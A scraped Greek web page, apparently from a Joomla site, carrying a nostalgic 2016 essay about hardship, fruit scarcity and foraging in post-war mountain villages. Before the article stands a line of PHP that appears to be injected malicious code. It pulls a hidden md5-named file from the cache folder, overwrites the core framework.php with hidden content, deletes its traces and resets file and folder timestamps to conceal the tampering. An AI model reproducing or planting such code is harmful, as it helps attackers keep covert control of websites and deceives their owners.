$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Κατακαλόκαιρο, θυμόμαστε το χωριό
YT Expo - шаблон joomla Mp3
Εκτύπωση
PDF
05
Ιούλιος
2016

Κατακαλόκαιρο, θυμόμαστε το χωριό

Τα καταφέρανε, λοιπόν, οι πολυεθνικές με τα πολυκαταστήματα από τη μια μεριά και το ελεύθερο εμπόριο, τοπικό και διεθνές, από την άλλη, να γεμίσουν τους πάγκους των μανάβικων με όλων των ειδών και των εποχών τους καρπούς, νωπούς ως επί το πλείστον ,τα λεγόμενα φρούτα, συν την αστυφιλία που μάζεψε τον κόσμο

από την αγροτική περιφέρεια στις πόλεις και αποκοπήκαμε από τη γη και τη γεωργική παραγωγή.                                                                                                                                 

Εκτός που δε συμμετέχουμε στην καλλιέργεια, ακόμη και απλών κηπουρικών, αγνοούμε τον τρόπο και τον τόπο καλλιέργειας και παραγωγής μέχρι και  της απλής πατάτας (άσε που εξειδικεύτηκε και αυτής η ποιότητα, αφού είναι άλλες οι πατάτες για μαγείρεμα, άλλες για τηγανητές, άλλες για βραστές και από τις εισαγόμενες πρέπει να διαλέξεις αν θα αγοράσεις αιγυπτιακές, από τα χώματα του ποταμού Νείλου, κυπριακές ή τούρκικες) αλλά και η γκάφα της νεαρής δασκάλας που ρώτησε τους μικρούς μαθητές της «παιδιά από πού παίρνουμε τις πατάτες;» εκείνα παντελώς άπειρα την έπνιξαν με την ομαδική απάντηση που της έδωκαν: «από το σούπερ μάρκετ κυρία, από το σούπερ μάρκετ»! Αν βαθμολογήσουμε τη δασκάλα και τα παιδιά, τα παιδιά παίρνουν άριστα και με τόνο (που λέγαμε παλιά).

Χρώματα, γεύσεις και αρώματα…

Τ

ο ελληνικό καλοκαίρι είναι μια ακουαρέλα από χρώματα και ένα αρωματοπωλείο με φίνες μυρωδιές, σα σταθείς  μπροστά στους πάγκους ενός μανάβικου, σχεδόν όλες τις εποχές, αλλά τους καλοκαιρινούς μήνες η εικόνα είναι ανυπέρβλητη. Ανάμεσα στις συσκευασίες των φρούτων, πήρε το μάτι μου και χρυσαφιά κορόμηλα, μοναδική λιχουδιά στα ορεινά χωριά μας, σε καιρούς περασμένους και πείνας που καθένας πολεμούσε με τη μοίρα του, να επιζήσει εκεί όπου βρέθηκε , μετά το δεύτερο παγκόσμιο πόλεμο που η αγροτοκτηνοτροφική επαρχιακή  Ελλάδα, παρηγοριόταν με την ιστορία της και μάχονταν με την ανελέητη φτώχια της. Όταν λέμε χωριό, μην πάει το μυαλό σας σε ειδυλλιακές πολίχνες, όπου σήμερα οι ασφαλτόδρομοι, ο ηλεκτρισμός, η τηλεόραση, το  εμπόριο που προμηθεύει όλα τα περιττά και εκεί που δε ζητιούνται, αλλά σε οικισμούς που έλειπαν τα πάντα, εκτός βέβαια του καφενείου όπου λημέριαζαν χαρτοπαίζοντας, η μοναδική ψυχαγωγία τους άλλωστε, όσοι δεν είχαν ή δεν πήγαιναν στις δουλειές τους ντόπιοι χασομέρηδες. Είχαν τόσο πολύ διασυρθεί, οι νεότεροι, ώστε το πρώτο που κουβεντιαζόταν σε κανέναν συνοικέσιο ήταν μην είναι ο γαμπρός κανένας τσιγαράς ή χαρτοπαίχτης. Πάθη που χαρακτήριζαν τους ανοικοκύρευτους και ανεπιθύμητους να τους δώσει κάποιος το κορίτσι του για γυναίκα.

 

Οι κλασικοί αργόσχολοι

 Α

ργόσχολοι ήσαν ο νεροπούλος και ο αγροφύλακας. Η αγροφυλακή που καθιερώθηκε επί κυβερνήτη Καποδίστρια μαζί με τους αστυνομικούς σταθμούς (που καταργήθηκαν πρόσφατα και οι δυο υπηρεσίες και δεν αντικαταστάθηκαν παρά τις ζημιές που ακολούθησαν στα δάση και στις καλλιέργειες αλλά και η αστυνόμευση που κρατούσε την περιφέρεια σε κάποια ευνομία, λόγω των αρμοδιοτήτων που είχε, ήταν η παρουσία του κράτους πολύ κοντά στο πολίτη που κρατούσε περιορισμένη τη ζωοκλοπή, που βρισκόταν στην πρώτη γραμμή των αδικημάτων.

Άνυδρα τα χωριά μας, τα περισσότερα. Δεν είχαν αρκετό νερό, πόσιμο και αρδεύσιμο. Μια βρύση στο κέντρο του χωριού ή κάπου κοντά, προμήθευε  το απαραίτητο νεράκι για τις ανάγκες του σπιτιού. Ξύλινες νεροβαρέλες, αρκετά βαριές, τις κουβαλούσαν νέες γυναίκες στην πλάτη και στην πιο τυχερή περίπτωση αν το σπίτι διέθετε ένα γαΙδαράκο, το τεράποδο ΙΧ, το 4Χ4 της εποχής εκείνης, έφερνε το νερό από κάποια κοντινή ρεματιά που συνήθως ανέβρυζε πόσιμο νερό. Ποτιστικό νερό δεν υπήρχε αρκετό. Αν κάπου στράγγαε  ένα μικρό αυλακάκι πότιζε τους κήπους των σπιτιών, μια αυλή όλοι κι  όλοι, όπου οι ηρωικές γιαγιάδες είχαν προνοήσει να έχουν σπείρει λίγα φασολάκια, κολοκυθιές και αγγουριές, χόρτα, τομάτες και μελιτζάνες και αραποσιτιές ολόγυρα. Μια γωνιά παραδείσου μπροστά στο σπίτι.

 

Ξεπάστρευαν και τα σπορίτια

 Ό

που κάποια περιβολάκια ήσαν σε απόμερο τα πρώτα αγγούρια ή μόλις παρδάλιζαν οι πρώτες τομάτες ήσαν για το στομάχι του νεροπούλου ή του αγροφύλακα. Γι αυτό φρόντιζαν και τα σκέπαζαν με ξερά χόρτα να μη φαίνονται για να προλάβει και η νοικοκυρά να δρέψει κάποια για δικό της λογαριασμό. Είχε ξεχωρίσει μια τροφαντή τομάτα η θεια Βγενιά για σπόρο κι όλο την έκρυβε σκεπάζοντάς την με ξερά χόρτα μέχρι να ωριμάσει πολύ για να βγάλει σπόρο για του χρόνου, αλλά το έμπειρο μάτι του νεροπούλου, που με πρόσχημα το νερό έμπαινε και έβγαινε ανεξέλεγκτος, την είχε επισημάνει και όποιος από τους δύο ήταν τυχερός την απολάμβανε σπειραλατιστή στην κρύα βρύση με σταρένιο ξεροκόμματο που μούσκευε γιατί αλλιώς δεν τρωγόταν.. Αν κάποιος κατέβαινε στα καμποχώρια της Αιγιάλειας και της Αχαγιάς κουβαλούσε με το μουλάρι του χίλια δυο φρούτα και  άλλα μαγειρέματα που στερούνταν τα πέτρινα χωριά μας. Όταν εμφανιζόταν κανένα καρπούζι γινόταν ο σκοτωμός. Περιττό να πούμε ότι το πηγαίναμε τρώγοντας μέχρι την πράσινη φλούδα. Για ποια δυστυχία μιλάμε τώρα και ξαναμιλάμε, με όλα τα αγαθά γύρω μας διαθέσιμα. Ποιο παιδί στερήθηκε ένα ολόκληρο καρπούζι να το χαρεί όπως εκείνο θέλει. Ακόμη και στα απόμερα των χωριών οι γύφτοι με τα ντάτσουν ανέβασαν  ολόκληρα περιβόλια. Όπως και μερικοί  ψωμάδες έσβησαν τους φούρνους και κρέμασαν τα σκαφίδια και τις πινακωτές στον τοίχο, πηγαίνοντας έτοιμο ψωμί οπουδήποτε. Άσε που αχρήστεψαν τις νέες νοικοκυρές που δεν έμαθαν να ζυμώνουν και να ψήνουν ψωμί σε ξυλόφουρνους. Έπιασε λάστιχο τον ψωμά και άργησε να φτάσει στο χωριό και πήγαν τα παιδιά νηστικά στο σχολείο.

 

Ματώναμε για δυο βατόμουρα

 από το φράχτη και τη μουριά

Κ

άποιες αγριοσυκιές που φύτρωναν σε απίθανα σημεία, ήσαν στο μάτι των παιδιών που διακινδύνευαν να γκρεμοτσακιστούν για να κόψουν ένα μισοάγουρο αγριόσυκο. Στους φράχτες τα βατόμουρα οργίαζαν αλλά έπρεπε να χιλιοματωθείς για να κόψεις ένα τσαμπί κι αυτό να το προλάβεις από την κατσίκα μας που πάντα μας ακολουθούσε να βοσκήσει και τα προτιμούσε ιδιαίτερα. Μόνη μας ευχαρίστηση μια μουριά με κάτι λαχταριστές ολόμαυρες μούρες. Σκαρφάλωνε ο πιο επιδέξιος στην κορυφή κι έτρωγε ενώ εμείς που είμαστε από κάτω βγαίναμε χιλιοματωμένοι και περίλυποι γιατί εκτός από τις μούρες  που έπεφταν επάνω μας κι ούτε δοκιμάζαμε, υπολογίζαμε και στο αγριόξυλο που θα τρώγαμε άμα εμφανιζόμαστε μ’ αυτά τα χάλια στη μάνα μας, που μόλις το πρωί μας είχε φορέσει ένα καλοσιδερωμένο λευκό πουκαμισάκι να πάμε καθαροί στην εκκλησία, άμα τύχαινε να είναι Κυριακή. Για τα κορόμηλα, που είπαμε παραπάνω, δεν προλαβαίνανε να κιτρινίσουν, στις κορομηλιές που έβγαιναν τα κλαριά τους έξω από το φράχτη. Σκαρφαλώναμε και την τρυγούσαμε παράκαιρα. Κι όταν άρχιζε πόνος στην κοιλιά μας ή μας έμπαινε πυρετός, από άλλη αιτία, τα κορόμηλα φταίγανε και παίρναμε το πρώτο γιατροσόφι με μια μερίδα ξύλου, του μόνου και μοναδικού παιδαγωγικού μέσου συμμόρφωσής μας Τόση  ήταν η σπανιότητα φρούτων που λιμάζαμε τα πάντα. Αν γυάλιζε κανένα κεράσι, κάπου ψηλά στην ξέκλωνη κερασιά της εκκλησίας, έπρεπε να το προλάβουμε κι αυτό, από τα πουλιά που ήταν οι ανταγωνιστές μας. Τα στάρια αυτή την περίοδο είχαν μεστώσει. Σε λίγες βδομάδες θα θερίζονταν αν κάποιο καλοκαιρινό μπουρίνι δεν τα σώριαζε κάτω με κίνδυνο να σαπίσουν. Τα σίχλωρα τα ρημάζαμε, να  καψαλίσουμε στη φωτιά ψηλά το στάχυ, να καούν τ’ αγάνια και να τρίψουμε ύστερα το μισοψημένο στάρι στην παλάμη μας  Ψάνη τη λέγαμε αυτή τη διαδικασία. Ήταν πεντανόστημο. Ακολουθούσαν τα καλαμπόκια και χορταίναμε με τα ψητά αραποσίτια. Πουλάνε και σήμερα αλλά αυτά είναι υβριδικά, άνοστα και δεν έχει ακόμη μεστώσει το σπειρί τους. Η εποχή που έδενε το σπειρί στο κότσαλο και σκλήραινε , ήταν έτοιμο για τη φωτιά. Γινόταν ένα είδος ανακύκλωσης. Τίποτα δεν περίσσευε για πέταμα. Ως και το κότσαλο που έμενε μετά το ξεσπείριασμα κι αυτό γινόταν βούλωμα για τη μπουκάλα του κρασιού ή του ξιδιού ακόμη και για τη νεροβαρέλα. Η καλαμιά του φυτού τροφή για τα ζώα, τα πούσια, τα φύλλα που ήταν τυλιγμένος ο καρπός του αραποσιτιού, χρησίμευαν κι αυτά. Γέμιζαν τα στρώματα στα ξυλοκρέβατα, δίπλα στο τζάκι. Στρώματα γέμιζαν και με κριθαριές, το καλάμι του κριθαριού που είναι λεπτό. Έτσι λοιπόν ο ύπνος ήταν ευχάριστος, με τέτοια…στρωματέξ, αλλά αυτά ήταν.

Συμπερασματικά

Μ

ε κάτι τέτοια και με άλλα θυμόμαστε το χωριό. Δεν το νοσταλγούμε, κι ας μη μας λείπουν τα βάσανά του δε κι ας μη μας πιστεύουν που τα καταγράφουμε και τα διηγούμαστε σ’ όσους μας ακούνε. Άλλαξε η ζωή τα πάντα. Αλλά το χωριό ήταν το μεγάλο σχολειό όλων των εμπειριών μας. Η λιτή διαβίωση και ο αγώνας για την επιβίωση, σ’ ένα τέτοιο περιβάλλον, μας εφοδίασε με δεξιότητες, φυσική δύναμη, επινοητικότητα, αυτάρκεια και αντοχές ψυχικές, που δεν υπήρχε κάτι να φοβηθείς ύστερα, όταν θα επιδιώξεις μεγαλύτερα και περισσότερα, από τις προκλήσεις της ζωής.